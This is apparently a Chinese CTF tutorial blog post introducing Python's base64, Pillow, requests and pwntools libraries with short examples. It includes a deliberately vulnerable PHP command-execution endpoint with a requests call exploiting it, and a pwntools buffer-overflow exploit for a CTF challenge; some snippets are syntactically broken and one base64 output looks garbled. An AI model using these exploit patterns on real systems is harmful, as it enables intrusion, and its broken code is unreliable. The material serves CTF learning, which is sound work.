CTF中的常见python库(base64、Pillow、requests、pwn)
原创
©著作权归作者所有:来自51CTO博客作者OceanSec的原创作品,请联系作者获取转载授权,否则将追究法律责任
内建模块
base64
Base64是一种任意二进制到文本字符串的编码方法,常用于在URL、Cookie、网页中传输少量二进制数据。
>>> import base64#导入
>>> base64.b64encode(b'library')#编码,b代表bytes
b'bGlicmFyeQ=='#base64最多有两个等号
>>> base64.b64decode('bGlicmFyeQ==')#解码
b'library'
>>> base64.b32encode(b'library')#base32编码
b'NRUWE4TBOJ4Q===='
>>> base64.b32decode(b'NRUWE4TBOJ4Q====')
b'library'
#同样base16也可以通过这种方式编码
案例:循环编解码base64
import base64
flag=b'flag{thisisflag}'
for i in range(10):
flag=base64.b64encode(flag)
print(flag)
for i in range(10):
flag=base64.b64decode(flag)
print(flag)
b'Vm0wd2QyVkhVWGhVYmxKV1YwZDRXRmxVUm5kVlJscHpXa2M1VjFKdGVGWlZNbmhQWVd4S2MxTnNXbGRTTTFKUVdWY3hTMUl4WkhWaVJtUnBWMFpHTsktop\1.py' TFkV1dsWmxSbGw0V2toV2FGSnNjRTlaYlhSTFZsWmFjbFZyZEZSTlZUVkpWbTEwYTJGR1NuVlJiR2hYWWxob1YxcFZXbXRXTVdSMFVteG9hVlpyV1RGTFkV1dsWmxSbGw0V2toV2FGSnNjRTlaYlhSTFZsWmFjbFZyZEZSV2EyUXdXVmRHVjFOdVRtcFRSVXBZV1ZSR1lWTkdVbkpYYlhSWVVqRmFTVlZ0ZUd0VWJGcDFVV3hvVjFKc2NGaFdha3BIVTBaYWRWSnNTbGRTTTAwMQ=qRmFTVlZ0ZUd0VWJGcDFVV3hvVjFKc2NGaFdha3BIVTBaYWRWSn='
b'flag{thisisflag}'
由于标准的Base64编码后可能出现字符+和/,在URL中就不能直接作为参数,所以又有一种"url safe"的base64编码,其实就是把字符+和/分别变成-和_:
>>> base64.b64encode(b'i\xb7\x1d\xfb\xef\xff')
b'abcd++//'
>>> base64.urlsafe_b64encode(b'i\xb7\x1d\xfb\xef\xff')
b'abcd--__'
>>> base64.urlsafe_b64decode('abcd--__')
b'i\xb7\x1d\xfb\xef\xff'
第三方模块
Pillow
pillow是python的一个第三方模块,需要自己安装。在命令行下通过pip安装:
λ pip install pillow
#如果遇到Permission denied安装失败,请加上sudo重试。
常用的图像操作
from PIL import Image
# 打开一个jpg图像文件,注意是当前路径:
im = Image.open('test.jpg')
# 获得图像尺寸:
w, h = im.size
print('Original image size: %sx%s' % (w, h))
# 把图像用jpeg格式保存:
im.save('test.jpg', 'jpeg')
案例:将二进制字符串拼成二维码
import PIL from Image
MAX = 25#定义二维码的长款
pic = Image.new("RGB",(MAX, MAX))#创建一个图片
str = "000000000000000000000000000011111110100001001011111110010000010110011001010000010010111010001001101010111010010111010010010110010111010010111010111100000010111010010000010100010010010000010011111110101010101011111110000000000000001101000000000011110110010001111101100110000111100001101001010011110000011111101001000110100000001000001000010110000101100001111010100101101001011010011000001110010111100101110011100010010110100101101000001000001111111111000001010010010110111111101111100000000000000010001001000110100011111110000110001010111000010000010100010101000111100010111010011001101111100010010111010100001001000011010010111010101110011101100110010000010100110011001011110011111110100000011100110010000000000000000000000000000"
i=0
for y in range (0,MAX):
for x in range (0,MAX):
if(str[i] == '1'):
pic.putpixel([x,y],(0, 0, 0)) #填充像素[坐标],(r,g,b)元组值
else:
pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show() #显示图像
pic.save("flag.png") #保存图像
如果给的数据不是二进制字符串而是rgb的值,可以将for循环中的内容稍作改变
for i in range(0, x):
for j in range(0, y):
line = file.readline() #获取一行的rgb值
rgb = line.split(", ") #分离rgb,文本中逗号后面有空格
im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2]))) #将rgb转化为像素
requests
Python内置的urllib模块,用于访问网络资源。但是,它用起来比较麻烦,而且,缺少很多实用的高级功能,更好的方案是使用requests。它是一个Python第三方库,处理URL资源特别方便。
在命令行下通过pip安装:
>>> import requests
>>> r = requests.get('https://www.baidu.com/') # 豆瓣首页
>>> r.status_code
200
>>> r.text
#对于带参数的URL,传入一个dict作为params参数:
>>> r = requests.get('https://www.douban.com/search', params={'q': 'python', 'cat': '1001'})
>>> r.url # 实际请求的URL
'https://www.douban.com/search?q=python&cat=1001
#需要传入HTTP Header时,我们传入一个dict作为headers参数:
>>> r = requests.get('https://www.douban.com/', headers={'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit'})
>>> r.text
'<!DOCTYPE html>\n<html>\n<head>\n<meta charset="UTF-8">\n <title>豆瓣(手机版)</title>...'
- post
要发送POST请求,只需要把get()方法变成post(),然后传入data参数作为POST请求的数据:
>>> r = requests.post('https://accounts.douban.com/login', data={'form_email': 'abc@example.com', 'form_password': '123456'})
#要在请求中传入Cookie,只需准备一个dict传入cookies参数:
>>> cs = {'token': '12345', 'status': 'working'}
>>> r = requests.get(url, cookies=cs)
案例:假设某网站footer栏输入框存在rce,我没可以直接使用requests来利用
#漏洞点
<?php
$shell=$_POST['shell'];
system($shell);
if($shell !=""){
exit();
}
?>
url='192.168.1.111:8080'
r=requests.post(url,data={'shell':'echo "flag{39.107.233.1}" > a8flag'})
#可以直接去执行shell命令,方便批量利用
pwntools
pwntools是一个二进制利用框架。由于是python的第三方模块,需要自己单独安装。
windows无法使用,windows无法使用,windows无法使用
pip3 install pwn
#没有pip请先安装pip
from pwn import *
url=39.107.233.1
c = remote(url, 9000)
send(payload)#发送payload;
sendline(payload) #发送payload,并进行换行(末尾\n);
sendafter(some_string, payload)#接收到 some_string 后,发送你的 payload;
recvn(N) #接受 N(数字) 字符;
recvline() #接收一行输出;
recvlines(N)#接收 N(数字) 行输出;
recvuntil(some_string)#接收到 some_string 为止。
案例:攻防世界-level0
exp:
from pwn import *
p=remote('111.198.29.45','44470') p.sendafter('d','a'*136+p64(0x400596))
p.interactive()